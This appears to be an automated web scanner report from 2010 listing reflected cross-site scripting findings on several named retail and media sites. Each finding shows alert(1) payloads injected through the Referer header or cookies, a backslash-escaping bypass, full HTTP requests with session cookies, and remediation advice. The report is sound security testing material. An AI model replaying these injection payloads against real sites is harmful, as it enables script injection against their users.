<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_1da5e\\";alert(1)//b23f18ee51b";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8a2bb\"%3balert(1)//22892099ecf was submitted in the Referer HTTP header. This input was echoed as 8a2bb\\";alert(1)//22892099ecf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /tulips-tul HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=8a2bb\"%3balert(1)//22892099ecf
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:47 GMT Connection: close Content-Length: 136359
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_8a2bb\\";alert(1)//22892099ecf";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9588a\"%3balert(1)//2fc67cba0b8 was submitted in the Referer HTTP header. This input was echoed as 9588a\\";alert(1)//2fc67cba0b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /unique-christmas-gifts-cfv HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=9588a\"%3balert(1)//2fc67cba0b8
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:08:10 GMT Connection: close Content-Length: 295178
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_9588a\\";alert(1)//2fc67cba0b8";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 74cd1\"%3balert(1)//5f867bbee1e was submitted in the Referer HTTP header. This input was echoed as 74cd1\\";alert(1)//5f867bbee1e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /vip HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=74cd1\"%3balert(1)//5f867bbee1e
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b32f4\"%3balert(1)//856ae19c39d was submitted in the Referer HTTP header. This input was echoed as b32f4\\";alert(1)//856ae19c39d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /winter-collection-wtr HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=b32f4\"%3balert(1)//856ae19c39d
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:46 GMT Connection: close Content-Length: 161439
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_b32f4\\";alert(1)//856ae19c39d";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15e9c\"%3balert(1)//99f16b4caf was submitted in the Referer HTTP header. This input was echoed as 15e9c\\";alert(1)//99f16b4caf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /wreaths-wth HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=15e9c\"%3balert(1)//99f16b4caf
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:06 GMT Connection: close Content-Length: 101974
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_15e9c\\";alert(1)//99f16b4caf";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab839\"%3balert(1)//0172175f262 was submitted in the Referer HTTP header. This input was echoed as ab839\\";alert(1)//0172175f262 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /default.aspx HTTP/1.1 Host: www.proplants.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=ab839\"%3balert(1)//0172175f262
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22fe7\"%3balert(1)//c6a59342c93 was submitted in the Referer HTTP header. This input was echoed as 22fe7\\";alert(1)//c6a59342c93 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET / HTTP/1.1 Host: www.redenvelope.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=22fe7\"%3balert(1)//c6a59342c93
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dee73\"%3balert(1)//fe182a80ed2 was submitted in the Referer HTTP header. This input was echoed as dee73\\";alert(1)//fe182a80ed2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /default.aspx HTTP/1.1 Host: www.redenvelope.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=dee73\"%3balert(1)//fe182a80ed2
The value of the rsi_segs cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87a58"><script>alert(1)</script>7dc4d244cb1 was submitted in the rsi_segs cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: animal.discovery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=D08734_70033|D08734_72009|D08734_72076|D08734_72080|D08734_7208187a58"><script>alert(1)</script>7dc4d244cb1; s_cc=true; s_vi=[CS]v1|2685353F851616BF-400001784017009B[CE]; s_sq=%5B%5BB%5D%5D; OAX=zAL5FU0Kan8AA977; __qca=P0-729623038-1292528256407; DIT-HISTORY-TRACKING=channel@animal.discovery.com/%7Cpagename@animal.discovery.com/index.html%7Cmodule@%7Cposition@%7Cassetname@;
Response
HTTP/1.1 200 OK Server: Apache/2.2.15 (Unix) Content-Length: 106743 Content-Type: text/html Cache-Control: max-age=642 Date: Thu, 16 Dec 2010 20:38:24 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of the rsi_segs cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5df50"><script>alert(1)</script>767e4128174 was submitted in the rsi_segs cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /tv-schedules/daily.html HTTP/1.1 Host: animal.discovery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=D08734_70033|D08734_72009|D08734_72076|D08734_72080|D08734_720815df50"><script>alert(1)</script>767e4128174; s_cc=true; s_vi=[CS]v1|2685353F851616BF-400001784017009B[CE]; s_sq=%5B%5BB%5D%5D; OAX=zAL5FU0Kan8AA977; __qca=P0-729623038-1292528256407; DIT-HISTORY-TRACKING=channel@animal.discovery.com/%7Cpagename@animal.discovery.com/index.html%7Cmodule@%7Cposition@%7Cassetname@;
Response
HTTP/1.1 200 OK Server: Apache/2.2.15 (Unix) Content-Length: 66624 Content-Type: text/html Set-Cookie: DCOM_TIMEZONE=18000-EST;expires=Thu, 23 Dec 2010 20:38:20 GMT;path=/;domain=discovery.com; Expires: Thu, 16 Dec 2010 20:38:20 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Thu, 16 Dec 2010 20:38:20 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- ::::: languages ....................... [ css (ii), javascript (1.+), rss ...[SNIP]... ery.com/RealMedia/ads/adstream_mjx.ads/animal.discovery.com/tv-schedules/daily.html/66210645@x21,x24,TopLeft,x29,x12?rsi=D08734_70033&rsi=D08734_72009&rsi=D08734_72076&rsi=D08734_72080&rsi=D08734_720815df50"><script>alert(1)</script>767e4128174&"> ...[SNIP]...
The value of the rsi_segs cookie is copied into an HTML comment. The payload b000b--><script>alert(1)</script>63f11ee24bf was submitted in the rsi_segs cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /videos/ HTTP/1.1 Host: animal.discovery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=D08734_70033|D08734_72009|D08734_72076|D08734_72080|D08734_72081b000b--><script>alert(1)</script>63f11ee24bf; s_cc=true; s_vi=[CS]v1|2685353F851616BF-400001784017009B[CE]; s_sq=%5B%5BB%5D%5D; OAX=zAL5FU0Kan8AA977; __qca=P0-729623038-1292528256407; DIT-HISTORY-TRACKING=channel@animal.discovery.com/%7Cpagename@animal.discovery.com/index.html%7Cmodule@%7Cposition@%7Cassetname@;
Response
HTTP/1.1 200 OK Server: Apache/2.2.15 (Unix) Content-Length: 114211 Content-Type: text/html; charset=UTF-8 Set-Cookie: NSC_d12efm_qppm_iuuq=ffffffff09419e4045525d5f4f58455e445a4a423660;path=/ X-ServerId: 192.168.32.202 Content-Language: en-US Expires: Thu, 16 Dec 2010 20:38:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 16 Dec 2010 20:38:29 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of the eyeblaster cookie is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b4539%3balert(1)//2c0e8f29bd9 was submitted in the eyeblaster cookie. This input was echoed as b4539;alert(1)//2c0e8f29bd9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
